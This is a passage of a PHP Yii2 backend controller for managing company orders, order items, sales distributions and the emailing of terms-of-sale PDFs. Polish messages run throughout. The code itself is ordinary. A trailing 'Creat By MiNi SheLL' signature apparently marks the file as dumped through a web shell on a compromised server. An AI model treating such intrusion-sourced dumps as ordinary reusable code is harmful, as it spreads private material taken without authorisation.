        $modelsSalesDistributions = $model->getSalesDistributions()->orderBy('amount DESC')->indexBy(function($row) {
            return $row['id_order'].'_'.$row['id_user'];
        })->all();
        foreach($modelsSalesDistributions as $modelSaleDistribution) {
            $modelSaleDistribution->setScenario('update');
        }
        
        $idsPostedSalesDistributions = [];
        if(Yii::$app->request->getIsPost()) {
            $postSalesDistributions = Yii::$app->request->post('CompaniesOrdersSalesDistributions', []);
            if(!empty($postSalesDistributions)) {
                $idsPostedSalesDistributions = array_map('strval', array_keys($postSalesDistributions));
                foreach($postSalesDistributions as $key => $value) {
                    if(!isset($modelsSalesDistributions[$key])) {
                        $modelsSalesDistributions[$key] = new \common\models\CompaniesOrdersSalesDistributions(['scenario' => 'create', 'id_order' => $model->id_order]);
                    }
                }
            }
        }
        
        $outputParams = [
            'model' => $model, 
            'dataProviderOrderItems' => $dataProviderOrderItems,
            'modelsSalesDistributions' => $modelsSalesDistributions
        ];
        
        if (Yii::$app->request->isAjax && $model->load(Yii::$app->request->post()) && (empty($modelsSalesDistributions) || \yii\base\Model::loadMultiple($modelsSalesDistributions, Yii::$app->request->post()))) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return array_merge(\yii\bootstrap\ActiveForm::validate($model, ['id_company', 'id_user', 'order_date']), !empty($modelsSalesDistributions) ? \yii\bootstrap\ActiveForm::validateMultiple($modelsSalesDistributions, ['id_user', 'amount']) : []);
        }
        
        if(Yii::$app->request->getIsPost()) { 
            if(!$model->load(Yii::$app->request->post()) || (!empty($modelsSalesDistributions) && !\yii\base\Model::loadMultiple($modelsSalesDistributions, Yii::$app->request->post()))) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->render('update', $outputParams);
            }
            
            if(!$model->validate() || (!empty($modelsSalesDistributions) && !\yii\base\Model::validateMultiple($modelsSalesDistributions))) {
                $errorsFromModelsSalesDistributions = [];
                if(!empty($modelsSalesDistributions)) {
                    foreach($modelsSalesDistributions as $modelSaleDistribution) {
                        if($modelSaleDistribution->hasErrors()) {
                            foreach($modelSaleDistribution->getErrors() as $error) {
                                $errorsFromModelsSalesDistributions[] = $error;
                            }
                        }
                    }
                }
                Yii::$app->session->addFlash('error', ArrayHelper::merge($model->getErrors(), $errorsFromModelsSalesDistributions));
                return $this->render('update', $outputParams);
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $flag = $model->save(false);
            
            if($flag && !empty($modelsSalesDistributions)) {                
                foreach($modelsSalesDistributions as $key => $modelSaleDistribution) {
                    if(!$modelSaleDistribution->isNewRecord && !in_array($modelSaleDistribution->id_order.'_'.$modelSaleDistribution->id_user, $idsPostedSalesDistributions)) {
                        $flag = $modelSaleDistribution->delete();                        
                        unset($modelsSalesDistributions[$key]);
                    } else {
                        $flag = $modelSaleDistribution->save(false);
                    }
                    
                    if($flag === false) {
                        break;
                    }
                }
            }
            
            if ($model->save(false)) {
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                return $this->redirect(['update', 'id' => $model->id_order]);
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->render('update', $outputParams);
    }

    /**
     * Deletes an existing CompaniesOrders model.
     * If deletion is successful, the browser will be redirected to the 'index' page.
     * @param integer $id
     * @return mixed
     */
    public function actionDelete($id)
    {
        $model = $this->findModel($id);
        
        if(!Yii::$app->user->can('deleteCompaniesOrders', ['model' => $model])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $modelInvoice = $model->invoice;
        
        if(!empty($modelInvoice) && $modelInvoice->status !== InvoiceStatus::UNPAID) { 
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Nie można usunąć wybranego elementu.'));
            return $this->redirect(['companiesorders/index', 'id' => $model->id_company]);
        }

        if($model->delete() !== false && (empty($modelInvoice) || $modelInvoice->delete() !== false)) {
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie usunięto dane.'));
        }
        else {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas usuwania danych.'));
        }
        
        return $this->redirect(['companiesorders/index', 'id' => $model->id_company]);
    }
    
    public function actionDeleteArchive($id)
    {
        if(!Yii::$app->user->can('deleteCompaniesArchiveOrders')) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $model = \common\models\CompaniesOrdersArchive::findOne(intval($id));        
        if ($model === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }

        if($model->delete() !== false) {
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie usunięto dane.'));
        }
        else {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas usuwania danych.'));
        }
        
        return $this->redirect(['companiesorders/index-archive', 'id' => $model->id_company]);
    }
    
    public function actionMoveArchive($id)
    {
        if(!Yii::$app->user->can('moveCompaniesArchiveOrders')) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $model = \common\models\CompaniesOrdersArchive::findOne(intval($id));        
        if ($model === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $modelCompany = Companies::findOne($model->id_company);
        
        $outputParams = [
            'model' => $model,
            'modelCompany' => $modelCompany 
        ];
        
        if (Yii::$app->request->isAjax && $model->load(Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validate($model, ['id_company']);
        }
        
        if(Yii::$app->request->getIsPost()) { 
            $oldIdCompany = (int)$model->id_company;
            if(!$model->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->render('move_archive', $outputParams);
            }
            
            if(!$model->validate()) {
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->render('move_archive', $outputParams);
            }
            
            $flag = $model->save(false);            
            if ($flag) {
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                return $this->redirect(['index-archive', 'id' => $oldIdCompany]);
            } else {
                Yii::$app->session->addFlash('move_archive', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->render('move_archive', $outputParams);
    }
    
    /**
     * Creates a new CompaniesOrdersItems child model.
     * If creation is successful, the browser will be redirected to the 'view' page.
     * @return mixed
     */
    public function actionCreateItem()
    {        
        $idServiceType = Yii::$app->request->get('id_type', null);
        $model = $this->createItemModel($idServiceType);
        $idOrder = intval(Yii::$app->request->get('id_order', null));
        $modelOrder = $this->findModel($idOrder);
        $model->id_order = $modelOrder->id_order;
        $modelCompany = $modelOrder->company;
        
        if(!Yii::$app->user->can('updateCompaniesOrders', ['model' => $modelOrder])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        if (Yii::$app->request->isAjax && !Yii::$app->request->isPjax && $model->load(Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validate($model, $model->additionalFieldsForAjaxValidation);
        }
        
        if(Yii::$app->request->getIsPost()) { 
            if(!$model->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->conditionalRender('create_item', ['model' => $model, 'modelCompany' => $modelCompany]);
            }
                    
            if(!$model->validate()) {
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->conditionalRender('create_item', ['model' => $model, 'modelCompany' => $modelCompany]);
            }
                        
            $transaction = Yii::$app->db->beginTransaction();
            
            $flag = true;
            if(!$model->save(false)) {
                $flag = false;
            }
            
            if($flag) {
                $modelOrder->setAmountsByItems();
                if(!$modelOrder->save(false)) {
                    $flag = false;
                }
            }
            
            if ($flag) {
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->conditionalRender('create_item', [
            'model' => $model,
            'modelCompany' => $modelCompany
        ]);
    }
    
    /**
     * Updates an existing CompaniesOrdersItems child model.
     * If update is successful, the browser will be redirected to the 'view' page.
     * @param integer $id
     * @return mixed
     */
    public function actionUpdateItem($id)
    {
        $idServiceType = Yii::$app->request->get('id_type');
        $model = $this->getItemModel($id, $idServiceType);
        $modelCompany = $model->order->company;
        
        $modelOrder = $this->findModel($model->id_order);
        
        if(!Yii::$app->user->can('updateCompaniesOrders', ['model' => $model->order])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        if (Yii::$app->request->isAjax && !Yii::$app->request->isPjax && $model->load(Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validate($model, $model->additionalFieldsForAjaxValidation);
        }
        
        if(Yii::$app->request->getIsPost()) {             
            if(!$model->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->conditionalRender('update_item', ['model' => $model, 'modelCompany' => $modelCompany]);
            }
                        
            if(!$model->validate()) {
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->conditionalRender('update_item', ['model' => $model, 'modelCompany' => $modelCompany]);
            }
                        
            $transaction = Yii::$app->db->beginTransaction();
            
            $flag = true;
            if(!$model->save(false)) {
                $flag = false;
            }
            
            if($flag) {
                $modelOrder->setAmountsByItems();
                if(!$modelOrder->save(false)) {
                    $flag = false;
                }
            }
            
            if ($flag) {
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->conditionalRender('update_item', [
            'model' => $model,
            'modelCompany' => $modelCompany
        ]);
    }
    
    /**
     * Deletes an existing CompaniesOrdersItems model.
     * If deletion is successful, the browser will be redirected to the 'index' page.
     * @param integer $id
     * @return mixed
     */
    public function actionDeleteItem($id)
    {
        if (($model = CompaniesOrdersItems::findOne($id)) === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $modelOrder = $this->findModel($model->id_order);
        
        if(!Yii::$app->user->can('updateCompaniesOrders', ['model' => $modelOrder])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $transaction = Yii::$app->db->beginTransaction();
        
        $flag = true;
        $flag = $flag && $model->delete();
        if($flag) {
            $modelOrder->setAmountsByItems();
            if(!$modelOrder->save(false)) {
                $flag = false;
            }
        }
        
        if($flag) {
            $transaction->commit();
        } else {
            $transaction->rollBack();
        }        
        
        return Yii::$app->getResponse()->redirect(['companiesorders/update', 'id' => $model->id_order], 302, false);
    }
    
    public function actionGetEmployeeData($id) 
    {
        $model = CompaniesEmployees::findOne($id);        
        if ($model === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        if(!Yii::$app->user->can('createCompaniesOrders')) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
        
        $modelsContactData = $model->getContactData()->where(['data_type' => [ContactDataType::EMAIL, ContactDataType::MOBILE_PHONE, ContactDataType::PHONE]])->orderBy('data_type ASC, data_order ASC')->all();
        $email = $phone = null;
        if(!empty($modelsContactData)) {
            foreach($modelsContactData as $modelContactData) {
                if($email === null && $modelContactData->data_type === ContactDataType::EMAIL) {
                    $email = $modelContactData->data_value;
                }
                if($phone === null && ($modelContactData->data_type === ContactDataType::PHONE || $modelContactData->data_type === ContactDataType::MOBILE_PHONE)) {
                    $phone = $modelContactData->data_value;
                }
                if($email !== null && $phone !== null) {
                    break;
                }
            }
        }
        
        return [
            'forename' => $model->forename,
            'surname' => $model->surname,
            'position' => $model->position,
            'email' => $email,
            'phone' => $phone
        ];
    }
    
    public function actionGetServiceParams($id) 
    {
        Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;

        if(!Yii::$app->user->can('viewServices')) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $model = Services::findOne($id);        
        if ($model === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $price = $priceInPricelist = $model->price_net;
        if(!empty(Yii::$app->request->get('id_portal'))) {
            $priceOnPortal = ServicesHasPortals::find()->select('price_net')->where(['id_service' => $id, 'id_portal' => Yii::$app->request->get('id_portal')])->scalar();
            if(!empty($priceOnPortal)) {
                $price = $priceInPricelist = $priceOnPortal;
            }
        }
        
//        return array_merge(json_decode($model->params, true), ['price_net_in_pricelist' => $priceInPricelist, 'price_net' => $price]);
        return array_merge($model->params, ['price_net_in_pricelist' => $priceInPricelist, 'price_net' => $price]); //#JSON-hack#
    }
    
    public function actionGetServicesTypes($id) 
    {
        if(!Yii::$app->user->can('viewServices')) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $servicesTypes = ServicesTypes::find()->joinWith('relationsWithPortals')->where(['services_types_has_portals.id_portal' => $id])->orderBy('type_order')->asArray()->all();
        Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
        
        return $servicesTypes;
    }
    
    public function actionSendTermsOfSale($id)
    {        
        $model = $this->findModel($id);
        $modelInvoice = $model->invoice;
        
        if(!Yii::$app->user->can('getCompaniesOrders', ['model' => $model])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        if(!empty($modelInvoice) 
            && !Yii::$app->user->can('getInvoices') 
            && !(Yii::$app->user->can('getRelatedInvoices') && Yii::$app->user->can('manageCompanies', ['model' => $modelInvoice->company])) 
            && !Yii::$app->user->can('viewOwnCompaniesData', ['model' => $modelInvoice->company])
        ) { 
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $orOnlyForLoggedUser = intval(Yii::$app->request->get('only_for_logged_user', 0)) === 1 ? true : false;
        
        $emails = []; 
        if($orOnlyForLoggedUser) {
            $email = Yii::$app->user->identity->getContactData()
                    ->select('data_value')
                    ->where([
                        'required' => 1,
                        'data_type' => \common\models\types\ContactDataType::EMAIL
                    ])
                    ->scalar();
        } else {
            $email = $model->user->getContactData()
                    ->select('data_value')
                    ->where([
                        'required' => 1,
                        'data_type' => \common\models\types\ContactDataType::EMAIL
                    ])
                    ->scalar();
        }
        
        if(!empty($email)) {
            $emails[$email] = $email;
        }
        
        if(!$orOnlyForLoggedUser) {
            foreach(['vm_lukasz'] as $login) { 
                $email = \common\models\UsersContactData::find()
                    ->join('INNER JOIN', 'users', 'users.id_user = users_contact_data.id_user')
                    ->select('users_contact_data.data_value')
                    ->where([
                        'users.login' => $login,
                        'users_contact_data.required' => 1,
                        'users_contact_data.data_type' => \common\models\types\ContactDataType::EMAIL
                    ])
                    ->scalar();
                if(!empty($email)) {
                    $emails[$email] = $email;
                }
            }
        }

        if(empty($emails)) {
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.'));
            return $this->redirect(['view', 'id' => $model->id_order]);
        }
        
        $flag = true;
        
        $consultants = [];
        $modelsSalesDistributions = $model->getSalesDistributions()
                ->with([
                    'user',
                    'user.contactData' => function($q) {
                        $q->where([ 
                            'required' => 1, 
                            'data_type' => \common\models\types\ContactDataType::EMAIL
                        ]);
                    }
                ])->all();
        if(!empty($modelsSalesDistributions)) {
            foreach($modelsSalesDistributions as $modelSaleDistribution) {
                $consultants[] = [
                    'name' => $modelSaleDistribution->user->forename.' '.$modelSaleDistribution->user->surname,
                    'email' => !empty($modelSaleDistribution->user->contactData[0]->data_value) ? $modelSaleDistribution->user->contactData[0]->data_value : '',
                    'amount_net' => str_replace('.', ',', (string)$modelSaleDistribution->amount),
                    'amonut_gross' => str_replace('.', ',', (string)($modelSaleDistribution->amount * 1.23)) //@todo to powinno być zaciągane z bazy - w końcu różne usługi mogą mieć różną stawkę VAT; ewentualnie tymczasowo niech tak zostanie, ale miejmy to na uwadze...
                ];
            }
            unset($modelsSalesDistributions);
        }
        
        $tempOrderFilePath = Yii::getAlias('@runtime')."/temp/zam_".$model->id_order.".html";
        $targetOrderFilePath = Yii::getAlias('@runtime')."/temp/zam_".$model->id_order.".pdf";
        $opts = ['http' => ['header'=> 'Cookie: ' . $_SERVER['HTTP_COOKIE']."\r\n"]];
        $context = stream_context_create($opts);
        Yii::$app->session->close();
        $contents = file_get_contents(Yii::$app->urlManager->createAbsoluteUrl(['companiesorders/show', 'id' => $model->id_order]), false, $context);
        Yii::$app->session->open();
        file_put_contents($tempOrderFilePath, $contents);
        unset($contents);
        
        $output = \common\components\helpers\Wkhtmltopdf::save('file:///'.$tempOrderFilePath, $targetOrderFilePath, '-T 0 -B 0 -L 0 -R 0');    
        if($output['return'] !== 0) {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas generowania pliku PDF.'));
            $flag = false;        
        } 
        
        if($flag && !empty($modelInvoice)) {
            if(!empty($modelInvoice->invoice_number)) {
                $fileName = $modelInvoice->invoice_number;
            } elseif(!empty($modelInvoice->proforma_invoice_number)) {
                $fileName = $modelInvoice->proforma_invoice_number;
            } else {
                $fileName = \common\components\UuidGenerator::generateV4();
            }
            $fileName = preg_replace('|[\/\\.:]|i', '_', $fileName);
            $fileName = preg_replace('|[^a-zA-Z0-9_\-]|i', '', $fileName);

            $tempInvoiceFilePath = Yii::getAlias('@runtime')."/temp/fv_".$fileName.".html";
            $targetInvoiceFilePath = Yii::getAlias('@runtime')."/temp/fv_".$fileName.".pdf";
            $opts = ['http' => ['header'=> 'Cookie: ' . $_SERVER['HTTP_COOKIE']."\r\n"]];
            $context = stream_context_create($opts);
            Yii::$app->session->close();
            $contents = file_get_contents(Yii::$app->urlManager->createAbsoluteUrl(['companiesinvoices/show', 'id' => $modelInvoice->id_invoice]), false, $context);
            Yii::$app->session->open();
            file_put_contents($tempInvoiceFilePath, $contents);
            unset($contents);

            $output = \common\components\helpers\Wkhtmltopdf::save('file:///'.$tempInvoiceFilePath, $targetInvoiceFilePath, '-T 8 -B 8 -L 8 -R 8');    
            if($output['return'] !== 0) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas generowania pliku PDF.'));
                $flag = false;         
            } 
        }

        if($flag) {
            $senderLabel = !empty($model->user->forename) && !empty($model->user->surname) ? $model->user->forename.' '.$model->user->surname : 'System vManager';
            
            //wysyłamy email z warunkami sprzedaży – wysyłany do handlowca i Łukasza, wraz z załącznikami zamówienia i faktury proforma (###MAIL_26###)
            $mailer = Yii::$app->mailer;
            $mailer->htmlLayout = false;      
            $mailer->textLayout = false;           
            $message = $mailer->compose(
                [
                    'html' => 'terms_of_sale_html',
                    'text' => 'terms_of_sale_text'
                ],
                [
                    'model' => $model,
                    'consultants' => $consultants,
                ]
            )
            ->setFrom([Yii::$app->params['noReplyEmail'] => $senderLabel])
            ->setSubject(Yii::t('common-mails', 'Warunki sprzedaży – {companyName} [{id}]', ['companyName' => $model->purchaser_name, 'id' => $model->id_order]))            
            ->setTo($emails);                    
            if(!empty($targetOrderFilePath)) {
                $message->attach($targetOrderFilePath);
            }
            if(!empty($targetInvoiceFilePath)) {
                $message->attach($targetInvoiceFilePath);
            }                    
            $flag = $message->send();
        }

        if($flag) {    
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Wiadomość została wysłana.')); 
        } else {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas wysyłania wiadomości.'));                
        }

        @unlink($tempOrderFilePath);
        @unlink($targetOrderFilePath); 
        @unlink($tempInvoiceFilePath);
        @unlink($targetInvoiceFilePath); 
       
        return $this->redirect(['view', 'id' => $model->id_order]);
    }
    
    public function actionCopy($id) 
    {
        $modelBase = $this->findModel($id);
        
        $model = new \common\models\CompaniesOrders(['scenario' => 'create']);
        $model->attributes = $modelBase->attributes;
        $model->order_date = date('Y-m-d');
        $model->id_invoice = null;
        
        $transaction = Yii::$app->db->beginTransaction();
        
        if(!$model->save(false)) {
            $transaction->rollBack();
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));
            return $this->redirect(['view', 'id' => $modelBase->id_order]);
        } 
        
        if(!empty($modelBase->items)) {
            foreach($modelBase->items as $modelBaseItem) {
                $modelItem = new \common\models\CompaniesOrdersItems(['scenario' => 'create']);
                $modelItem->attributes = $modelBaseItem->attributes;
                $modelItem->id_order = $model->id_order;
                $modelItem->target_id = null;
                if(!$modelItem->save(false)) {
                    $transaction->rollBack();
                    Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));
                    return $this->redirect(['view', 'id' => $modelBase->id_order]);
                }
            }
        }
        
        if(!empty($modelBase->salesDistributions)) {
            foreach($modelBase->salesDistributions as $modelBaseSalesDistribution) {
                $modelSalesDistribution = new \common\models\CompaniesOrdersSalesDistributions(['scenario' => 'create']);
                $modelSalesDistribution->attributes = $modelBaseSalesDistribution->attributes;
                $modelSalesDistribution->id_order = $model->id_order;
                if(!$modelSalesDistribution->save(false)) {
                    $transaction->rollBack();
                    Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));
                    return $this->redirect(['view', 'id' => $modelBase->id_order]);
                } 
            }
        }
        
        $transaction->commit();
        Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
        return $this->redirect(['view', 'id' => $model->id_order]);        
    }
    
    public function actionCompaniesList()
    {        
        if(!Yii::$app->user->can('updateCompaniesOrders', ['model' => false])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $searchModel = new \backend\models\CompaniesSearch();
        $dataProvider = $searchModel->search(Yii::$app->request->queryParams);

        return $this->renderAjax('companies_list', [
            'searchModel' => $searchModel,
            'dataProvider' => $dataProvider,
        ]);
    }

    /**
     * Finds the CompaniesOrders model based on its primary key value.
     * If the model is not found, a 404 HTTP exception will be thrown.
     * @param integer $id
     * @return CompaniesOrders the loaded model
     * @throws NotFoundHttpException if the model cannot be found
     */
    protected function findModel($id)
    {
        if (($model = CompaniesOrders::findOne($id)) !== null) {
            return $model;
        } else {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
    }
    
    /**
     * Finds the Companies model based on its primary key value.
     * If the model is not found, a 404 HTTP exception will be thrown.
     * @param integer $id
     * @return Companies the loaded model
     * @throws NotFoundHttpException if the model cannot be found
     */
    protected function findModelCompany($id)
    {
        if (($model = Companies::findOne($id)) !== null) {
            return $model;
        } else {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
    }
    
    protected function createItemModel($idServiceType)
    {
        if($idServiceType === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $idServiceTypeParts = explode("_", $idServiceType);
        array_walk($idServiceTypeParts, function(&$item, $key) { $item = ucfirst(strtolower($item)); });
        $className = '\backend\models\OrderItem'.implode("", $idServiceTypeParts);
        
        if(!class_exists($className)) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $model = new $className(['scenario' => 'create']);
        
        $model->completion_term = '14 dni';
        
        return $model;
    }
    
    protected function getItemModel($id, $idServiceType)
    {
        if($idServiceType === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $idServiceTypeParts = explode("_", $idServiceType);
        array_walk($idServiceTypeParts, function(&$item, $key) { $item = ucfirst(strtolower($item)); });
        $className = '\backend\models\OrderItem'.implode("", $idServiceTypeParts);
        
        if(!class_exists($className)) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $model = $className::findOne($id);
        
        if($model === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $model->setScenario('update');
        
        return $model;
    }
}

Creat By MiNi SheLL
Email: jattceo@gmail.com